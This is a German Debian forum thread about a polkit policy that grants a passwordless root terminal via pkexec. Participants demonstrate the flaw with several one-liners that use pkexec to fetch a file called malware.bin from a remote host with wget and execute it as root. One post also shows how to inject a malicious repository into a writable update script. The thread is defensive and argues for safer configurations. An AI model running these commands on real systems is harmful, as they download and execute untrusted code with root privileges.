[gelöst] Updates richtig machen

[willy4711]

War mal außer Haus, so erst jetzt ne Antwort.

Nun Willy, das ist leider ein ziemlich krasser Irrtum.... den Du ganz einfach ohne Gefahr bestätigen kannst. Ich habe Deine Policy kopiert und nur eine einzige Zeile geändert.... was aber für das tatsächliche Problem belanglos ist.

Code: Alles auswählen

 <annotate key="org.freedesktop.policykit.exec.path">/usr/bin/xterm</annotate>

Bei mir führt die folgende Zeile, die ich selber als unprivilegierter User ohne irgend eine Abfrage zur Legitimation ausführen kann...

Code: Alles auswählen

pkexec xterm -e 'tgt=/usr/local/bin/not_yours_anymore; /usr/bin/wget -q www.thlu.de/Public/malware.bin -O $tgt;/bin/chmod +x $tgt;$tgt'

...zu folgender Ausgabe eines adhoc aus dem WWW runtergeladenen Programms:

Da ich mir sicher war das das nicht funktioniert, hab ich die Policy nicht geändert .
Der Befehl:

Code: Alles auswählen

~$ pkexec xfce4-terminal -e 'tgt=/usr/local/bin/not_yours_anymore; /usr/bin/wget -q www.thlu.de/Public/malware.bin -O $tgt;/bin/chmod +x $tgt;$tgt'
Fehler bei der Verbindung zur Sitzungsverwaltung: Verbindung zur Sitzungsverwaltung fehlgeschlagen: SESSION_MANAGER environment variable not defined

Ergibt:


Ich finde das auch ziemlich an den Haaren herbeigezogen. Ich benutze pkexec mit xfce4-terminal ausschliesslich für Updates.
Du gehst davon aus, dass mein System bereits kompromittiert ist, und der Angreifer weiß (belauscht hat) das er die Policy zusammen
mit einem bestimmten Terminal nutzen kann.
Mein System ist aber nicht kompromittiert (glaube ich jedenfalls) . Und wenn es das wäre, gäbe es 100 andere Möglichkeiten, mir eins reinzuwürgen.
Selbst wenn der update- Prozess im xfce4-terminal mit Root rechten läuft, ist es nicht möglich ein zweites Terminal mit gleichen Rechten aufzurufen, wenn es nicht mit pkexec geschieht,

Die ganz harten editieren einfach die Datei /etc/group und entfernen den Benutzer einfach aus der Zeile der betreffenden Gruppe.

Nöö die "ganz harten" machen einfach:

Code: Alles auswählen

apt purge sudo

ergibt dann:

Code: Alles auswählen

 ls -al /etc/sudoers
ls: Zugriff auf '/etc/sudoers' nicht möglich: Datei oder Verzeichnis nicht gefunden

gut ist

[TomL]

Da ich mir sicher war das das nicht funktioniert, hab ich die Policy nicht geändert .

Echt jetzt..willy.... ... sorry, aber Du erzählst jetzt wirklich Unsinn.. ... ... und ich hoffe, Du nimmst das so, wie es beabsichtigt war, humorvoll!

Ich finde das auch ziemlich an den Haaren herbeigezogen. Ich benutze pkexec mit xfce4-terminal ausschliesslich für Updates.

Du glaubst jetzt wirklich, das hätte wegen Deiner Sicherheitseinstellungen mit der Policy nicht funktioniert? Nö, das Polkit hat absolut gar nichts damit zu tun, die Fehlermeldung hängt vermutlich mit der Implementierung von dbus im xfce-terminal und der Kommunikation mit dem Session-Manager zusammen, aber ob das wirklich ordentlich erfolgt ist, kann ich nicht beurteilen. Sicher ist nur, dieser Fehler hat wirklich nichts mit der von dir beabsichtigen Rechtevergabe über die Policy zu tun, Dein Absichten befinden sich sogar vollständig außerhalb dessen, was tatsächlich eingestellt ist.

Fakt ist, Du kannst mit Deiner Policy ein aktives root-Terminal nicht ausschießlich auf Upgrades begrenzen. Wenn es ein aktives root-Terminal ist, ist es eins, was schlichtweg unbegrenzt alles darf. Du hast generell ein aktives root-Terminal erlaubt. Du hast definitiv alles und jeden zu einem aktiven root-Terminals berechtigt. Auch wenns bei Dir nur updates machen soll, dürfen darf es aber alles.

Du gehst davon aus, dass mein System bereits kompromittiert ist

Nein, tue ich nicht. Ich sage nur, dass Du mit dieser Policy keine Kontrolle über Dein System hast oder darüber, ob und wer das verwendet. Du kannst nur hoffen, dass keiner diese Lücke findet... ist ein bisschen wie russisches Roulette.

Ich habe einfach mal in einem xfce einen neuen Fake-User 'ballermann' eingerichtet, der wirklich keinerlei Rechte besitzt. Und was glaubst Du, was bei diesem angepassten Befehl passiert ist, als er diesen Befehl ausgeführt hat....?... probiers mal:

Code: Alles auswählen

echo "tgt=/tmp/not_yours_anymore;/usr/bin/wget -q www.thlu.de/Public/malware.bin -O \$tgt; /bin/chmod +x \$tgt; \$tgt" >/tmp/nya; chmod +x /tmp/nya; pkexec xfce4-terminal -e '/bin/bash /tmp/nya'

Inhaltlich ist es das gleiche wie zuvor, ich reagiere hier nur auf das xfce-Problem.... und wie gesagt, es hat nichts mit dem Polkit zu tun, sondern wie xfce das handhabt. Deine Regel ist definitiv ein offen ausliegender Generalschlüssel.

Selbst wenn der update- Prozess im xfce4-terminal mit Root rechten läuft, ist es nicht möglich ein zweites Terminal mit gleichen Rechten aufzurufen, wenn es nicht mit pkexec geschieht,

Das ist doch gar nicht notwendig, ich rufe mir einfach als egal-wer-ich-bin mit 'pkexec xfce4-terminal' direkt oder mit jedem beliebigen Befehl wie in meinem Beispiel ein root-Terminal auf.

[rockyracoon]

@TomL:
Vermutlich schreibe ich als NDALU* jetzt Unsinn, für eine Stellungsnahme wäre ich aber trotzdem dankbar.

...ich rufe mir einfach als egal-wer-ich-bin mit 'pkexec xfce4-terminal' direkt oder mit jedem beliebigen Befehl wie in meinem Beispiel ein root-Terminal auf...

Soweit glaube ich Alles verstanden zu haben.
Aber das Terminal verlangt doch dann auch eine Legitimation in Form des Root-Passworts, was ein Fremder/Unbefugter eben nicht kennen dürfte.
Natürlich ist die Administrator-Tür dann nur so lange offen, wie das Terminal offen ist.

Ich weiß nicht mehr, wie das beim XFCE-Terminal war. Bei "meinem" Gnome3-Terminal (su - > Root-Passwort) sind die Root-Rechte weg, sobald das Terminal geschlossen wird, was man imho immer sofort nach Erledigung einer Aufgabe mit Root-Rechten tun sollte. Bleibt bei XFCE ein geöffnetes Pkexec-XFCE4-Terminal so lange offen wie eine Session dauert? Das wäre imho nicht so gut. Den Synaptic-Paketmanager öffne ich unter Wayland-Gnome3-Bullseye auch per Pkexec, aber auch hier wird die Root-Legitimation gefordert und auch hier verschwindet die Root-Berechtigung nach dem Schließen des Programms sofort.


* NDALU
(als) Noch Dumm Anzunehmender Linux User...

[TomL]

Aber das Terminal verlangt doch dann auch eine Legitimation in Form des Root-Passworts, was ein Fremder/Unbefugter eben nicht kennen dürfte.

Nein, tuts nicht... er hat vorsätzlich (!) die Password-Abfrage vollständig für alles (Programme) und für jeden (User) deaktiviert.

Natürlich ist die Administrator-Tür dann nur so lange offen, wie das Terminal offen ist.

Nein, es wird kein offenes Terminal benötigt, alles und jeder (wie oberhalb) kann sich ohne Password-Abfrage ein eigenes root-Terminal öffnen.

Ich weiß nicht mehr, wie das beim XFCE-Terminal war. Bei "meinem" Gnome3-Terminal

Das hat nichts mit einer Distribution hinsichtlich gnome, lxde, xfce oder so zu tun, das ist eine Sache der Polkit-Implementierung... das ist eine andere Ebene als der grafische Clicki-Bunti-Kram, der sich auch dem Polkit bedient. Das ist so etwas wie Zugangskontrollsystem zwischen Userspace und root-Berechtigungen.

[rockyracoon]

@TomL: Thx!

Nein, tuts nicht... er hat die Password-Abfrage vollständig für alles (Programme) und für jeden (User) deaktiviert.

Uups...

Das hat nichts mit einer Distribution hinsichtlich gnome, lxde, xfce oder so zu tun, das ist eine Sache der Polkit-Implementierung... das ist eine andere Ebene als der grafische Clicki-Bunti-Kram, der sich auch dem Polkit bedient. Das ist so etwas wie Zugangskontrollsystem zwischen Userspace und root-Berechtigungen.

O.K. Wieder was gelernt.
Wobei: Für Anfänger wie mich ist es wohl erst einmal gut, nicht zu viel über Polkit* zu wissen, beziehungsweise daran herumzudoktern.
Immer wieder mache ich die Erfahrung, dass bei Debian die Voreinstellungen recht durchdacht und sinnvoll sind.




* Polkit
Enthält für mich als einfacher Single-Desktop-User die im System voreingestellten Zugangsrechte, von denen ich besser die Finger lasse.

[TomL]

Uups...

Ich habe zwischenzeitlich oben noch mal ergänzt... um "vorsätzlich (!)". Das Problem ist, er war sich der weiteren Möglichkeiten gar nicht bewusst.... oder wie die unerlaubt verwendet werden können. Was nicht bedeutet, dass sie automatisch unerlaubt verwendet werden ... ich sage ja auch nur, dass das möglich ist und das man damit faktisch keine Kontrolle darüber hat.

[willy4711]

Echt jetzt..willy.... ... sorry, aber Du erzählst jetzt wirklich Unsinn.. ... ... und ich hoffe, Du nimmst das so, wie es beabsichtigt war, humorvoll!

Na immer
Jetzt wird es richtig drollig
Führe deinen Befehl als Root (nicht mit su -) aus und bastele noch ein apt update davor:

Code: Alles auswählen

root@XFCE:/home/willy# apt update && echo "tgt=/tmp/not_yours_anymore;/usr/bin/wget -q www.thlu.de/Public/malware.bin -O \$tgt; /bin/chmod +x \$tgt; \$tgt" >/tmp/nya; chmod +x /tmp/nya; xfce4-terminal -e '/bin/bash /tmp/nya'

Besonderheit: Diesmal ohne pkexec
Ergebnis:

Was hast du denn nun bewiesen ? Wenn ich ein Update mache (so wie wahrscheinlich die meisten ohne su -), hängst du mir was böses ran und ich bin erledigt

Ich geh wieder zu Windows

P.s.
Die Fehlermeldung vom Terminal kommt übrigens immer, auch wenn man als Root ein neues Terminal aufruft.

Edit:
Wenn du das vorher in /tmp platziert hast (als Ganz normaler user

Code: Alles auswählen

~$  echo "tgt=/tmp/not_yours_anymore;/usr/bin/wget -q www.thlu.de/Public/malware.bin -O \$tgt; /bin/chmod +x \$tgt; \$tgt" >/tmp/nya; chmod +x /tmp/nya

Hast du dann den gleichen Effekt:
mit einem einfachen

Code: Alles auswählen

root@XFCE:/home/willy# apt update &&  xfce4-terminal -e '/bin/bash /tmp/nya'

Nur mit su - klappt das z.Z.nicht. Bitte um Vorschläge

[TomL]

Willy, Du hast es immer noch nicht kapiert.... ... das Statement als root auszuführen ist so albern , wie eine Kerze anzuzünden, um zu sehen, ob die Deckenlampe leuchtet.

Das hat alles NICHTs mit Deinen updates zu tun... vergiss das einfach ... es hat auch nichts mit Deinen Absichten zu tun... vergiss die auch... hier geht es nur um Fakten... und die sind: Jeder kann jederzeit ohne Passwort ein root-Terminal öffnen oder jederzeit jedes beliebige Programme mit root-Rechten ohne Password starten.... völlig losgelöst von Deinen Updates.

1. Führe das ganze Statement als NICHT-root aus, schau ob die Meldung kommt und achte auf die Anwort hinter "whoami".
2. Führe als beliebiger NICHT-root-User "pkexec xfce4-terminal" aus und prüfe, welche Rechte das offene Terminal hat.

Die Fehlermeldung vom Terminal kommt übrigens immer, auch wenn man als Root ein neues Terminal aufruft.

Das hatte ich schon gesagt... die Fehlermeldung hat NICHTS mit dem Polkit und den dort eingerichteten Policies zu tun.

[willy4711]

Wer ist "jeder"? Hab ich nicht.
Wird es auch nicht geben, es sei denn mein Rechner ist gekapert.
Ich finde das nicht albern.
Schließlich müsste ja das Skript ergänzt werden.
Oder die /usr/share/polkit-1/actions/ samt Inhalten gescannt werden, um die Lücke zu finden.
Der das kann, fängt auch mein PW oder Root PW ab.

Ich finde, das sind an den Haaren herbeigezogene Szenarien. Aber sicherlich nicht unmöglich.

Oder man macht es mit sudo, was ja wohl bei fast allen installiert ist, und garantiert mit keep.

[TomL]

Du hälst

Code: Alles auswählen

pkexec xfce4-terminal

auszuführen und ohne Password-Abfrage ein root-Terminal zu erhalten für ein an den Haaren herbeigezogenes Risiko? Und die Tatsache, dass man auf diese Weise wirklich jeden Befehl mit root-Rechten ausführen kann, auch? Und auch die weitere Tatsache, dass das nicht an Personen, Umstände, Zeiten oder sonst irgendwas gebunden ist, sondern vollkommen willkürlich verfügbar ist?

Na dann....

Ganz nebenbei bemerkt ... würde ich ein system hacken wollen, wäre bei meinen Laienkenntnissen ein Blick in die History das erste, was ich tun würde, um zu sehen, was mit sudo oder pkexec gestartet wird und wo ich da ansetzen kann. Bei "pkexec xfce4-terminal" würde ich wahrscheinlich laut lachen... das ist ja fast so, als wäre die Zahlenkombination vorne auf dem Safe mit einem PostIt angetackert.

[willy4711]

Ganz nebenbei bemerkt ... würde ich ein system hacken wollen, wäre bei meinen Laienkenntnissen ein Blick in die History das erste, was ich tun würde, um zu sehen, was mit sudo oder pkexec gestartet wird und wo ich da ansetzen kann. Bei "pkexec xfce4-terminal" würde ich wahrscheinlich laut lachen... das ist ja fast so, als wäre die Zahlenkombination vorne auf dem Safe mit einem PostIt angetackert.

Ähmm sorry.
Hab grad zu deinen Ehren die ~/.bash_history geputzt und mein Update-skript ausgeführt.
Leider nix zu finden.
Auch nicht in /root
Musst also tiefer graben

[hikaru]

Musst also tiefer graben

"Tiefer graben" heißt hier, mal die Oberfläche etwas anzukratzen. Toms Angriffsszenario setzt voraus, dass der Angreifer bereits unprivilegierten Zugriff auf dein System hat.
Rauszufinden, dass du Xfce nutzt ist kinderleicht:

Code: Alles auswählen

$ echo $XDG_CURRENT_DESKTOP
XFCE

Nun zu erraten, dass du wohl xfce4-Terminal nutzen wirst liegt nahe. Um sicherzugehen schauen wir halt nach:

Code: Alles auswählen

$ ls -l /etc/alternatives/x-terminal-emulator
lrwxrwxrwx 1 root root 31 Jan  7  2018 /etc/alternatives/x-terminal-emulator -> /usr/bin/xfce4-terminal.wrapper

Das auf eine sudo- oder polkit-Konfiguration abzuklopfen, die offen wie ein Scheunentor ist, ist einfach der nächste logische Schritt.

Mach auf deinem System was du willst! Es ist dein Bier. Unangenehm ist, dass du diese unsichere Konfiguration woanders noch unbedarfteren Usern empfiehlst.

[TomL]

Wer ist "jeder"? Hab ich nicht.

Du zitierst selektiv und aus dem Kontext gerissen. Das war der (oder mein) Kontext:

[1] "... die Password-Abfrage vollständig für alles (Programme) und für jeden (User) deaktiviert."
[2] "Jeder kann jederzeit ohne Passwort ein root-Terminal öffnen oder jederzeit jedes beliebige Programme mit root-Rechten ohne Password starten"

Es geht also dabei nicht nur um Personen, sondern auch darum, dass jegliches ausführbare Programm das ebenfalls verwenden kann.

Wird es auch nicht geben, es sei denn mein Rechner ist gekapert.

Das glaube ich Dir sogar, weil Du keine Programme außerhalb des Debian-Repos verwendest, keine Addons aus dem Web, keine Plugins aus dem Web, keine Snap- oder Flatpak-Container aus dem Web, keine Fremdeinträge in der Sourceslist, keine Fremdprogramme aus dem Netz wie z.B. Waterfox... usw. usw..... alles wirklich klinisch rein, so wie es sein soll. Ist doch so, oder? Wenn nicht, ist es schlichtweg so, dass Deine Kontrolle allein auf Glauben basiert, aber mit den realen Fakten tatsächlich nichts zu tun hat.

Ich halte diese Policy, die ja hier öffentlich empfohlen wurde, für andere User für extrem fahrlässig, weil eben andere User ihre Software nicht so asketisch auswählen, wie Du es tust. Dabei wäre die Lösung im Grunde genommen eigentlich ganz einfach, und sogar ohne das Du auf Gewohnheiten verzichten musst.
Ich würde einfach die fürs updaten relevanten Befehle in ein Bashscript schreiben und die Policy auf dieses Script anwenden. Dann wäre das schlimmste, wofür diese Policy genutzt werden kann, ein Update des Systems durchzuführen. Der Missbrauch für andere Funktionen wäre damit jedenfalls wirksam unterbunden.

[MSfree]

Ich würde einfach die fürs updaten relevanten Befehle in ein Bashscript schreiben und die Policy auf dieses Script anwenden.

Aber bitte nicht vergessen, das Skript zumindest schreibzuschützen und zwar mit chmod 555.

Sonst pinselt noch jemand sowas in dein Skript:

Code: Alles auswählen

echo "echo deb http://evil.repository.cx/debian stable main >> /etc/apt/sources.list" >> updatescript
echo "apt-get update"  >> updateskript
echo "apt-get inststall evilbotnet >> updateskript

das dann praktischerweise mit root-Rechten ausgeführt wird.

[TomL]

Oh mann JAAAA.... so ein Script hat natürlich auch nix im Homedir des Users zu suchen. Das gehört z.B. nach /usr/local/bin, Eigentümer ist root und root hat als einziger Schreibrechte auf das Script.

Danke msfree ...für mich ist das so obligatorisch, dass ich da gar nicht mehr drüber nachdenke.

[willy4711]

Ich würde einfach die fürs updaten relevanten Befehle in ein Bashscript schreiben und die Policy auf dieses Script anwenden. Dann wäre das schlimmste, wofür diese Policy genutzt werden kann, ein Update des Systems durchzuführen. Der Missbrauch für andere Funktionen wäre damit jedenfalls wirksam unterbunden.

Da geht auch einfacher, indem man die Policy nach Geschmack so umschreibt:

Code: Alles auswählen

<defaults>
        <allow_any>auth_admin</allow_any>
        <allow_inactive>auth_admin</allow_inactive>
        <allow_active>auth_admin_keep</allow_active>
    </defaults>

oder

Code: Alles auswählen

<defaults>
        <allow_any>auth_admin</allow_any>
        <allow_inactive>auth_admin</allow_inactive>
        <allow_active>auth_admin</allow_active>
    </defaults>

Ach ja, mein Update-Skript hat natürlich 555 ganz so leichtfertig bin ich nun doch nicht

Code: Alles auswählen

~$ ls -al /usr/local/bin/update
-r-xr-xr-x 1 root root 136 Aug 14 16:45 /usr/local/bin/update

alles wirklich klinisch rein, so wie es sein soll. Ist doch so, oder?

Ist natürlich nicht so. Ich halte auch nichts von der "reinen Lehre", solange ich die Programme, die ich zusätzlich nutze
halbwegs überblicke, kontrollieren kann, was sie wohin in das System kritzeln. Das steht ja in der Regel in den deb- Paketen,
die man sich mal vorher ansehen kann.
Bei z.B Virtualbox fühle ich mich sicherer als z.B. bei qemu /kvm.
Man muss bloß mal bei Cert danach suchen. --> Also vertraue ich diesem Repo mindestens so, wie einem Debian - Paket.
JRiver vertraue ich seit fast 20 Jahren, und das wird auch so bleiben, weil es keine Alternative gibt.
deb.multimedia halte ich für genauso vertrauenswürdig wie ein Debian Repo
Und Enpass ist als PW-Manager halt universell einsetzbar auf allen Browsern

Aber darüber will ich gar nicht diskutieren, wollte es nur gesagt haben.

[TomL]

Da geht auch einfacher, indem man die Policy nach Geschmack so umschreibt:

Code: Alles auswählen

<defaults>
        <allow_any>auth_admin</allow_any>
        <allow_inactive>auth_admin</allow_inactive>
        <allow_active>auth_admin_keep</allow_active>
    </defaults>

oder

Code: Alles auswählen

<defaults>
        <allow_any>auth_admin</allow_any>
        <allow_inactive>auth_admin</allow_inactive>
        <allow_active>auth_admin</allow_active>
    </defaults>

Na ja, die Änderung schließt zwar die Lücke, aber einen echten Sinn kann ich nicht darin erkennen. Dann kann ich doch mit gleichem Aufwand auch "su -" verwenden und starte dann mein Script. Das nervige (und bei mir echte Problem) ist bei mir ein root-Password mit hohem Vertipper-Potential für hektische Finger. *fg* Also ich wollte für so einen banalen regelmäßigen Kram nicht jedesmal mein Pwd eintippen müssen. Bei mir gibts deshalb die Policy auf das Script.... und zwar mit 'yes'. Das wird einfach mit "pkexec autoupdate" gestartet.

[debianuser4782]

Nach dem Lesen einiger Beiträge in diesem Thread stellen sich mir nun folgende Fragen:
Besteht ein Risiko, wenn ich mich zu Hause auf der Console (tty) oder im Terminal als root einlogge und dann aus Bequemlichkeitsgründen bis zum Ende der Sitzung eingeloggt bleibe? Bei mir laufen iftop und journalctl -f als root während der ganzen Sitzung. Dies müsste doch eigentlich ein größeres "Risiko" darstellen als ein solch "offenes Terminal".
Und was ist eine root-shell? Sind damit bereits die Console oder das Terminal gemeint?
Diese Fragen stelle ich mir schon länger.

Tip: Wer nicht immer sein user- oder root-Passwort eintippen möchte und wer lange und komplexe Passwörter setzt, kann einen Yubi- oder Onlykey verwenden. Diese werden vom System als schlichte Tastaturen behandelt (dh ua die Zwischenablage bekommt nichts zu Gesicht). Risiken: das versehentliche Auslösen von Passwortausgaben im falschen Fenster und das Konfigurieren solcher Token auf einem Computer mit Verbindung zum Internet.

[TomL]

Nach dem Lesen einiger Beiträge in diesem Thread stellen sich mir nun folgende Fragen:
Besteht ein Risiko, wenn ich mich zu Hause auf der Console (tty) oder im Terminal als root einlogge und dann aus Bequemlichkeitsgründen bis zum Ende der Sitzung eingeloggt bleibe? Bei mir laufen iftop und journalctl -f als root während der ganzen Sitzung.

Ich sehe das nicht als Risiko. Es sind halt Prozesse, die mit root-Rechten laufen, fertig. Wobei das für das Journal eigentlich gar nicht notwendig ist. Wenn Du Dich in die Journal-Gruppe einträgst, solltest Du das auch als nicht-root lesen dürfen. Für iftop würde ich eine Policy erstellen, die Dir erlaubt, das Programm direkt mit 'pkexec iftop' als root zu starten. Solange dir keiner ein anderes iftop unterjubelt, kann man dabei vermutlich sogar das Password deaktivieren. Ich hätte da jetzt keine Bauchschmerzen.

Dies müsste doch eigentlich ein größeres "Risiko" darstellen als ein solch "offenes Terminal".

Nö, warum?

Und was ist eine root-shell? Sind damit bereits die Console oder das Terminal gemeint?

Eine root-Shell ist -so interpretiere ich das- eine Console (oder Terminal) in der root bereits angemeldet ist. Ist es ein vom User gestartetes Terminal, sehe ich das als normale unprivilegierte User-Shell, nach erfolgreichen su - wirds dann zur root-shell.

Tip: Wer nicht immer sein user- oder root-Passwort eintippen möchte

...erstellt sich eine Policiy.... sofern der Prozess eine isolierte Aufgabe hat und nicht dazu verwendet werden kann, das System oder die vorhandenen Rechteeinstellungen zu verändern. Einen Hardware-Key nehme ich beim Entschlüsseln meiner Reise-Laptop-Daten-Partition. Sicher, ich bin natürlich sehr vorsichtig, aber ich versuche auch nicht Paranoid zu sein. Und manchmal sind die Freiheiten, die ich mir selber gönne, nicht die gleichen, zu denen ich hier öffentlich rate *fg* Aber ich glaube, ich kann die Risiken meiner Freiheiten heute recht gut einschätzen.

[willy4711]

Nur noch mal zu dem Ablauf bei mir:
Der package-update-indicator zeigt mir durch eine Notifikation an, ob und wie viel Updates vorhanden sind oder nicht.
Gleichzeitig ändert er das Icon im Tray.
Dann kann ich entweder sofort oder wann es mir gefällt mit einem Klick auf das Icon das Update starten.
Von dort wird auch das schreibgeschützte Skript (555) aufgerufen.
Offene Root-Terminals gibt es nur während der direkten Ausführung des Befehls.Ist der Befehl ausgeführt,
schießt das Terminal sofort und automatisch.

[rockyracoon]

Als fleißiger, braver und lernbereiter meist nur Mitleser, habe ich genau die Manpage zur Root-Anmeldung gelesen.
Daraus geht imho hervor, dass man, will man ganz korrekt und fehlerfrei vorgehen, nicht nur "su -" statt lediglich "su" eingeben sollte, sondern sogar "su --login":

...
Aus Es wird empfohlen, stets die Option --login (statt deren
Kurzform -) zu verwenden, um durch Mischen der Umgebungen verursachte
Nebenwirkungen zu vermeiden.
...

Zitat aus der Manpage "SU(1) Dienstprogramme für Benutzer"

Bezüglich des Thread-Titels "Updates richtig machen" wäre die präziseste Antwort imho dann wohl:
Terminal öffnen > su –-login > Root-Passwort > apt update && apt full-upgrade && apt autoremove && apt autoclean

[willy4711]

Ich hatte mal was dazu geschrieben:
viewtopic.php?f=27&t=177709&p=1240934&h ... n#p1240934

su -
oder
su -l
oder
su --login
statt. Alle 3 Kommandos sind identisch

Kannst dir aber noch einen weiteren Knoten in deinen Beine machen, und es "ganz korrekt" schreiben:

Code: Alles auswählen

su --login root

Oder jeden anderen bei dir vorhandenen User
z.B.

Code: Alles auswählen

willy@debian:~$ su --login egon
Passwort: 
egon@debian:~$ 

Edit

Kannst auch mal die ArchWiki zu Rate ziehen: https://wiki.archlinux.org/index.php/Su
und dir in deiner ~/.bashrc einen alias genehmigen
Aber hinterher die bashrc bittschön mit dem Attribut "i" versehen, damit sie keiner ändern kann

Aber letztendlich sieht man doch am Prompt, in welcher Umgebung man sich bewegt.
Dachte ich bisher jedenfalls.

[TomL]

Dann kann ich entweder sofort oder wann es mir gefällt mit einem Klick auf das Icon das Update starten.
Von dort wird auch das schreibgeschützte Skript (555) aufgerufen.
Offene Root-Terminals gibt es nur während der direkten Ausführung des Befehls.Ist der Befehl ausgeführt,
schießt das Terminal sofort und automatisch.

Willy, Du hast es offensichtlich immer noch nicht verstanden. Vor dem Hintergrund Deiner Policy ist es

• völlig bedeutungslos, ob die Script-Attribute 555 sind, weil jeder unprivilegierte User jederzeit andere Attribute setzen kann, um dann die Datei beliebig zu ändern - ganz wie er mag, ohne Password-Abfrage, weil Du das erlaubt hast.
• völlig bedeutungslos, ob es ein offenes oder geschlossen root-Terminal ist, weil sich jeder unprivilegierter User jederzeit ein eigenes root-terminal öffnen kann - ganz wie er mag, ohne Password-Abfrage, weil Du das erlaubt hast.
• völlig bedeutungslos, ob das root-terminal nur während des script-laufes offen ist, weil jeder unprivilegierter User sich gleichzeitig oder auch zu jeder anderen Zeit ein, zwei oder zehn root-terminals öffnen kann - ganz wie er mag, ohne Password-Abfrage, weil Du das erlaubt hast.

Zum ersten Punkt ist allerdings anzumerken, dass das in etwa genau so sinnvoll ist, wie sein eigenes Bier zum Brauereibesuch mitzubringen. Man braucht diesen Umweg schlichtwewg nicht, man tut einfach das, was man will, auf direktem Wege.

Ich kann echt nicht glauben, wie es möglich ist, das die eigene Erwartungshaltung die Erkenntnis über die tatsächlich vorhandenen Möglichkeiten dieser Policy so erfolgreich verhindern kann. Du nutzt zudem auch noch Software aus Fremdquellen, eine Gewissheit darüber, dass Dein System noch wirklich intakt ist, hast Du definitiv nicht....aber egal... mach ruhig.

[TomL]

Bezüglich des Thread-Titels "Updates richtig machen" wäre die präziseste Antwort imho dann wohl:
Terminal öffnen > su –-login > Root-Passwort > apt update && apt full-upgrade && apt autoremove && apt autoclean

Das wäre wohl das technisch sauberste Vorgehen. Aber mir wäre das zu kompliziert und die Gefahr zu groß, dass die Anwender das wegen des Aufwands nicht mehr regelmäßig durchführen. Ausserdem beinhaltet das die Notwendigkeit, dass die Anwender das root-Passwd kennen müssen... und das kennt hier keiner, auf keinem System.

[rockyracoon]

@willy4711:

su -
oder
su -l
oder
su --login
statt. Alle 3 Kommandos sind identisch

Kannst dir aber noch einen weiteren Knoten in deinen Beine machen, und es "ganz korrekt" schreiben:

Ja, Nee.
Im Manpage-Text wird ja explizit gesagt, dass "su -" nicht genügt, sondern man sicherheitshalber "su --login" verwenden sollte.
Insofern sind "Deine" drei Befehlsvariationen sicher im Alltag eines normalen Desktop-Users ausreichend, aber sie sind eben nicht identisch.
Im übrigen beantrage ich hier im Forum den Titel des "Ober-Erbsenzählers". LOL.

@TomL:

Das wäre wohl das technisch sauberste Vorgehen.

Daaas wollte ich hören!

Aber mir wäre das zu kompliziert und die Gefahr zu groß, dass die Anwender das wegen des Aufwands nicht mehr regelmäßig durchführen. Ausserdem beinhaltet das die Notwendigkeit, dass die Anwender das root-Passwd kennen müssen... und das kennt hier keiner, auf keinem System.

Ich schreibe ja auch gefühlt in jedem 5. Beitrag, dass man sehr unterscheiden muß zwischen einem Desktop-Single-User-Zuhause und einem Firmennetz-Mitarbeiter mit beschränken Zugriffsrechten, wie ich es auch selbst die letzten 20 Jahre meiner Berufstätiglkeit als Angestellter erlebt hatte.
Auch gibt es imho signifikante Unterschiede im Linux-Vorwissen und den Support-Bedürfnissen zwischen einem Desktop-Single-User-Zuhause und einem Forenmitglied, welches Administrator eines professionellen Netzwerks ist.

Liebe Grüße an Euch und ernst gemeinten Dank für Eure regen und interessanten Postings.